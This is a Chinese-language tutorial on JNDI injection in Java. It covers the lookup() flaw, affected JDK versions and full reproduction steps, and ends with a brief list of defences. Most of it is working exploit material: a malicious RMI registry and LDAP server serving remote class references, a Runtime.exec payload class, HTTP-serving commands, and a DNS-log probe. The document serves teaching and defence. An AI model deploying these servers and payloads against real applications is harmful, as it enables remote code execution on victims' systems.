JNDI注入原理及利用考究
字数 1425 2025-08-24 20:49:31
JNDI注入原理及利用详解
一、JNDI简介
JNDI(Java Naming and Directory Interface)是Java命名和目录接口,提供统一的客户端API,通过不同的访问提供者接口(SPI)实现,将API映射为特定的命名服务和目录系统。主要支持的协议包括:
- LDAP:轻量级目录访问协议
- RMI:Java远程方法协议
- DNS:域名服务
- CORBA:公共对象请求代理体系结构
二、JNDI注入原理
JNDI注入的核心漏洞在于:当lookup()方法的参数可控时,攻击者可以传入恶意URL远程加载恶意载荷。
漏洞代码示例
package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 可控的uri变量
InitialContext initialContext = new InitialContext(); // 初始目录环境引用
initialContext.lookup(uri); // 获取指定的远程对象
}
}
攻击流程
- 攻击者构造恶意RMI或LDAP服务
- 服务指向包含恶意类的远程地址
- 受害者应用调用
lookup()方法访问恶意URL - 受害者应用加载并执行恶意类
三、JNDI注入版本限制
| 协议 | JDK6 | JDK7 | JDK8 | JDK11 |
|---|---|---|---|---|
| LDAP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
| RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
四、JNDI注入复现
1. JNDI+RMI注入
环境搭建
- 创建Maven项目
- 在
src/java下创建包jndi_rmi_injection - 编写服务端和客户端代码
服务端代码(RMIService.java)
package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator", "Calculator", "http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);
}
}
客户端代码(RMIClient.java)
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
恶意载荷(Calculator.java)
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("gnome-calculator");
}
}
启动步骤
- 编译恶意类:
javac Calculator.java - 启动HTTP服务:
python3 -m http.server 8081 - 先运行服务端,再运行客户端
2. JNDI+LDAP注入
环境搭建
需要导入unboundid-ldapsdk-3.2.0.jar依赖
服务端代码(LDAPServer.java)
package jndi_ldap_injection;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig("listen",
InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端代码(LDAPClient.java)
package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException {
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
启动步骤
- 编译恶意类:
javac Calculator.java - 启动HTTP服务:
python3 -m http.server 8081 - 先运行服务端,再运行客户端
3. DNS协议探测
为避免过早暴露服务器IP,可使用DNS协议进行探测:
package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException {
String url = "dns://192rzl.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
五、关键类分析
1. InitialContext类
- 用于读取JNDI配置信息
- 内含对象和其在JNDI中注册名称的映射信息
lookup(String name)方法获取指定名称的数据
2. Reference类
- 抽象类,每个Reference都有一个指向的对象
- 指定类会被加载并实例化
- 构造方法:
Reference(String className, String factory, String factoryLocation)
六、攻击原理总结
- 攻击者构造恶意Reference类绑定在RMIServer的Registry中
- 客户端调用
lookup()访问恶意对象 - 客户端接收Reference对象后查找指定类
- 若本地找不到,则从Reference指定的远程地址请求类
- 请求到的类在本地执行,完成攻击
七、防御措施
- 升级JDK到安全版本
- 避免
lookup()参数用户可控 - 使用安全管理器限制代码加载
- 对JNDI查找进行白名单控制